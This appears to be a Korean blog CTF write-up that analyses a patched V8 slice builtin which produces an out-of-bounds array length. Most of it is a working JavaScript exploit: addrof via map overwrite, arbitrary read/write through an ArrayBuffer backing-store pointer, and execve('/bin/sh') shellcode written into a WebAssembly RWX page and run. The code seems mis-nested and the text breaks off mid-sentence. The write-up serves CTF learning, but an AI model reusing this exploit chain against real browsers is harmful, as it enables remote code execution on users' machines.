Tag
V8
engine exploitOOB
pointer compression
Summary
addrof & fakeobj
exploit
diffing file analysis
디핑 파일은 부분별로 나눠서 보도록 하겠습니다.
1. array-slice.tq
diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
// to be copied out. Therefore, re-check the length before calling
// the appropriate fast path. See regress-785804.js
if (SmiAbove(start + count, a.length)) goto Bailout;
- return ExtractFastJSArray(context, a, start, count);
+ // return ExtractFastJSArray(context, a, start, count);
+ // Instead of doing it the usual way, I've found out that returning it
+ // the following way gives us a 10x speedup!
+
+ const array: JSArray = ExtractFastJSArray(context, a, start, count);
+ const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+ otherwise Bailout;
+ array.ChangeLength(newLength);
+ return array;
일단 디핑파일을 적용했을때의 결과부터 말씀드리겠습니다. 위 부분으로 인하여 취약점이 발생합니다.
원래 slice
함수에서 사용하던 처리방식을 주석처리하고, 자체적으로 slice
함수를 처리하는 코드를 작성한 모습입니다. 자세하게 볼까요?
const array: JSArray = ExtractFastJSArray(context, a, start, count);
const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2)) otherwise Bailout;
array.ChangeLength(newLength);
return array;
변수 count
는 slice
를 진행할 때 첫번째 인자와 두번째 인자의 거리입니다.
변수 start
는 첫번째 인자의 값이고, SmiConstant(2)
는 상수 "2"를 의미합니다.
예시는 아래와 같습니다.
juntae@ubuntu:~/ctf/downunder$ ./d8
V8 version 8.7.9
d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> a.slice(4,6)
[]
원래 a.slice(4,6)
을 실행하면 5와 6이 반환되어야합니다. 하지만, 문제의 d8
에서는 아무값도 반환하지 않습니다. 왜그럴까요?
이유는 a.slice(4,6)
부분에서 count
는 2, start
는 4가 되기 때문입니다. 2 - 4 + 2 = 0이 되는 것이죠.
여기서 중요한 한가지는, count
와 start
를 잘 조절하면 연산의 결과값을 -1등의 음수 값으로 만들 수 있다는 점 입니다. 이렇게 되면 v8
에서는 배열의 길이를 0xfffffff..
으로 인식하고, OOB
를 트리거 할 수 있습니다.
2. JSobject
extern class JSArray extends JSObject {
+ macro ChangeLength(newLength: Smi) {
+ this.length = newLength;
+ }
+
macro IsEmpty(): bool {
return this.length == 0;
}
간단합니다. JS에서 최상위 오브젝트인 JSObject
를 상속하는 JSArray
의 길이를 변경할 수 있는 메소드를 추가합니다. 이 메소트는 array-slice.tq
에서 사용하게 됩니다.
addrof & fakeobj
일반적인 Browser exploit
에서는 addrof
와 fakeobj
함수를 만들어 aar
과 aaw
를 이끌어냅니다. 저는 다른 방식으로 exploit
을 진행했는데, 그 방법을 소개하고자 합니다.
1. addrof
먼저, OOB
가 발생함을 이용해 배열의 map
을 object
로 덮고 element에 object
를 넣으므로써 원하는 오브젝트의 주소를 leak
할 수 있습니다.
2. fakeobj
fakeobj
없이 ArrayBuffer
의 backing store
포인터를 덮어 aaw
와 aar
을 만들 수 있습니다.
Exploit
var buf = new ArrayBuffer(8);
var f64buf = new Float64Array(buf);
var u64buf = new Uint32Array(buf);
function ftoi(val, size) {
f64buf[0] = val;
if(size == 32) {
return BigInt(u64buf[0]);
}
else if(size == 64) {
return BigInt(u64buf[0]) + (BigInt(u64buf[1]) << 32n);
}
}
function itof(val, size) {
if(size == 32) {
u64buf[0] = Number(val & 0xffffffffn);
}
else if(size == 64) {
u64buf[0] = Number(val & 0xffffffffn);
u64buf[1] = Number(val >> 32n);
}
return f64buf[0];
}
var hex = function(x) {
if (x < 0)
return `-${hex(-x)}`;
return `0x${x.toString(16)}`;
};
a = [1.1,2.2,3.3,4.4,5.5,6.6]
b = a.slice(4,5)
c = new BigUint64Array([
0x1111111111111111n,
0x2222222222222222n,
0x3333333333333333n,
]);
var idx = 15
var base = BigInt(ftoi(b[idx + 8],64)) & 0xffffffff00000000n;
console.log("[*] Base address : " + hex(base))
objmap = base + 0x824394dn
bintmap = base + 0x8242665n
function addrof(obj) {
b[idx + 3] = itof(objmap,64);
c[0] = obj;
b[idx + 3] = itof(bintmap,64);
return base + (c[0] & 0xffffffffn);
}
var arb = new ArrayBuffer(0x100);
console.log("[*] ArayBuffer address : " + hex(addrof(arb)))
function aar(addr) {
b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
b[idx + 47] = itof(addr >> 32n,64);
let buf = new Float64Array(arb);
return ftoi(buf[0],64);
}
function aaw(addr,value) {
b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
b[idx + 47] = itof(addr >> 32n,64);
if(typeof value == "number") {
let buf = new Float64Array(arb);
buf[0] = itof(value)
}
else if(typeof value == "string") {
let buf = new Uint8Array(arb);
for(let i = 0; i < value.length; i++) {
buf[i] = value[i].charCodeAt();
}
}
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let wasmFunction = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x67n);
console.log("[*] rwx : " + hex(rwx));
let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";
aaw(rwx,shellcode);
wasmFunction();
주의해야할 점은, pointer compression
에 의하여 디버깅이 상대적으로 어렵고, PIE base
를 leak
하듯이 pointer
의 base
주소를 leak
해야 한다는 점 입니다.
aaw
와 aar
을 만든 후에는 WebAssembly
를 생성(RWX 영역이 매핑됨)하여 rwx
'Kernel & Browser > Browser' 카테고리의 다른 글
[Browser] Browser (3) - 35c3 CTF krautflare ( Math.expm1 exploit ) (0) | 2020.08.19 |
---|---|
[Browser] Browser (2) - Javascript basic (1) | 2020.07.02 |
[Browser] Browser (1) - Codegate jsworld write-up (0) | 2020.06.14 |